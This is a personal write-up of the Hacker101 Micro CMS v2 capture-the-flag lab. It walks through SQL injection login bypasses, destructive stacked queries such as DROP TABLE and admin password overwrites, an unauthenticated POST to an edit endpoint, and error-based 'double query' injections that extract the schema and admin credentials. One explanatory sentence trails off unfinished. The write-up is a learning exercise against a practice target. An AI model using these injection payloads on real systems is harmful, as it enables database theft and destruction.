Hacker1 CTF - Micro CMS v2

All flags on v2 of Hacker1's example CMS

We're messing with Hacker1's "Hacker101 CTF" You can also check out the Warmup and Part 1

Flag 0

Putting in some random junk can get you a wealth of information. At some point I entered a single quote (') and got this error, revealing that user input is formatted directly into the SQL statement. SQL injection it is then!

Traceback (most recent call last):
  File "./main.py", line 145, in do_login
    if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 250, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
    raise errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1")

Inputting something like the following gets us from a "Username not found" error to a "Incorrect password" error, progress! foo' OR '1'='1

I tried a bunch of things, including altering the table to insert my own user: foo'; INSERT INTO admins (username, password) VALUES ('lee', ''); SELECT password from admins WHERE username='lee

This was able to drop the table, but then I was shafted. You need to reset the challenge after doing something like this: foo'; DROP TABLE admins

You can't execute this after dropping the table because the reference to the table comes before it would execute your injected SQL: foo'; CREATE TABLE admins (username string, password string)

I tried to just alter all the records to have the same password: foo'; UPDATE admins SET password = 'password' where '1'='1

I tried "overriding" a field via the AS SQL keyword but that didn't work. foo'; SELECT DISTINCT "foo" AS password FROM admins WHERE '1' = '1

Being a noob, at this point I had to seek a hint. The hint encourages to find "a more unified" approach, so it must involve using a UNION. Aha!

Username: foo' UNION SELECT "AAA" as password FROM admins WHERE '1' = '1 Password: AAA

If you capture the initial response from a login obtained with SQL injection, you see a helpful comment: curl -v -d "username=foo' UNION SELECT \"AAA\" as password FROM admins WHERE '1' = '1" -d password=AAA http://{ctf}/login

<!doctype html>
<html>
	<head>
		<title>Logged in</title>
	</head>
	<body>
		<h1>Logged In!</h1>
		<a href="home">Go Home</a>
		<script>setTimeout(function() { window.location = 'home'; }, 3000);</script>
		<!-- You got logged in, congrats!  Do you have the real username and password?  If not, might want to do that! -->
	</body>
</html>

Flag 1

This one is simple but I didn't get it at first. Using curl to directly POST to the edit url gets the flag. I guess it must be that the GET of the edit url to load the page with the form gets checked for authorization, but not the actual POST of the form data:

$ curl -v -X POST http://{ctf}/page/edit/2
*   Trying 35.196.135.216...
* TCP_NODELAY set
* Connected to 35.196.135.216 (35.196.135.216) port 5001 (#0)
> POST /{ctf}/page/edit/2 HTTP/1.1
> Host: 35.196.135.216:5001
> User-Agent: curl/7.54.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Tue, 12 Feb 2019 06:31:07 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 76
< Connection: keep-alive
< 
* Connection #0 to host 35.196.135.216 left intact
^FLAG^12581d8f793937b1383c1098ae5bfd653a0663289b27455853bfcfd3479c8f3f$FLAG$

Flag 2

Once again I utilized the hints to narrow down the options. It mentioned that there may be some connection between the facts that flags and credentials are both secret. So I started looking for additional secret data. I looked at the cookies that were set upon successful log in (Flag 0) and saw values like these for two different sessions:

l2session=eyJhZG1pbiI6dHJ1ZX0.D1UIcw.76B8tfAIc-QUgeXFeMRhRgq1WtE
l2session=eyJhZG1pbiI6dHJ1ZX0.D1UKag.LP6THEVyFgr4LFa6snMaU1EE-Z8

The first segment remained identical and my first instinct was just to base64 decode it. That revealed:

{"admin":true}

Cool. What if I just...

Update 05/10/2019 Hey wait a minute! I never finished this post! Yeah I was off on a way wrong tangent. I received a couple of replies on Twitter asking where the rest was, I was even contacted by email. My bad, I trailed off an forgot where I was.

Hey man, its a bit random but was just wondering, your flag 2 post wasn't really completed for the hacker1-ctf-micro-cms-v2 challenge. I couldn't find an writeup that didn't involve just running the thing through sqlmap and I'm pretty bad at this so was wondering if you could let me know how you ended up solving it. From what I can see sqlmap just uses a brute force approach which I guess works when it works but I'm not sure if thats what hacker1 had in mind (maybe it is haha)Thanks a lot! Michael

Well Michael, et al, I am also pretty bad at this and thus far have not used any automated tools to capture the flags. I have definitely used the hints on hacker1 though.

Ok, so we can force a log in with:

# curl -v -d "username=foo' UNION SELECT \"AAA\" as password FROM admins WHERE '1' = '1" -d "password=AAA" http://{ctf}/login

But Michael helped me realize we need to learn more about the database and its tables. That means we need to utilize some techniques to extract facts with either a double SQL injection, or since we can't output the content of tables, perhaps a blind SQL injection?

I really enjoyed reading your writeups though, they were very methodical and you clearly have a decent idea what your doing, a lot of other solutions out there just use automated tools which doesn't really do much to explain whats really going on beneath the abstraction. I'm cycling through some of the private invites I've gotten to find a suitable one to work on and try to get started in bug bounty. Would be great if we could stay in touch! All the bestMichael.

My inclination is that we already know there is a table named admins that definitely has columns named username and password based on the error messages above.

'SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%'))

The next thing we can do is try to deduce some valid values for those?

Double SQL Injection

What Michael was onto was that we need to use a technique called "double SQL injection" or "double query" to learn some information about the database and it's tables and their schema themselves.

username=foo' OR (SELECT 1 from (select count(*), (concat('~',(select database()),'~',floor(rand(0)*2)))c from information_schema.tables group by c)a) AND '1' = '1

If you run that a few times, eventually you will get an error that divulges information about the tables in the database:

Traceback (most recent call last):
  File "./main.py", line 145, in do_login
    if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
    raise errorvalue
IntegrityError: (1062, "Duplicate entry '~level2~1' for key 'group_key'")

You can also learn things like the version number of the server:

IntegrityError: (1062, "Duplicate entry '~10.1.37-MariaDB-0+deb9u1~1' for key 'group_key'")

So we've learned there is a database named "level2". But how did that work? Why do you have to run it "a few times"? The key concept in that particular query is that we are telling the database to randomly select a number between 0 (inclusive) and 2 (exlcusive). Because we rand() returns a number between 0 (inclusive) and 1 (exclusive) and we multiply that by .

Ok, we can learn table names:

username=foo' OR (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND '1' = '1

Probably could have guessed but:

IntegrityError: (1062, "Duplicate entry 'admins~1' for key 'group_key'")

admins in hex is 0x61646d696e73

next query to get column names:

username=foo' or (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x61646d696e73 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND '1' = '1

Keep increasing the limit and you can extract all the column names:

IntegrityError: (1062, "Duplicate entry 'id~1' for key 'group_key'")
IntegrityError: (1062, "Duplicate entry 'username~1' for key 'group_key'")
IntegrityError: (1062, "Duplicate entry 'password~1' for key 'group_key'")

Alrighty we've extracted the database name, level2. An interesting table name, admins. Interesting column names from that table, username and password. What's left? Oh yeah, the values of entries in those columns:

username=foo' OR (select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(admins.username as char),0x27,0x7e) FROM `level2`.admins LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND '1' = '1
IntegrityError: (1062, "Duplicate entry '~'julissa'~1' for key 'group_key'")

and

username=foo' OR (select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(admins.password as char),0x27,0x7e) FROM `level2`.admins LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND '1' = '1
IntegrityError: (1062, "Duplicate entry '~'kylee'~1' for key 'group_key'")

There we have it. username=julissa and password=kylee.

ALL FLAGS CAPTURED.

In a follow up post I will explain how we got here.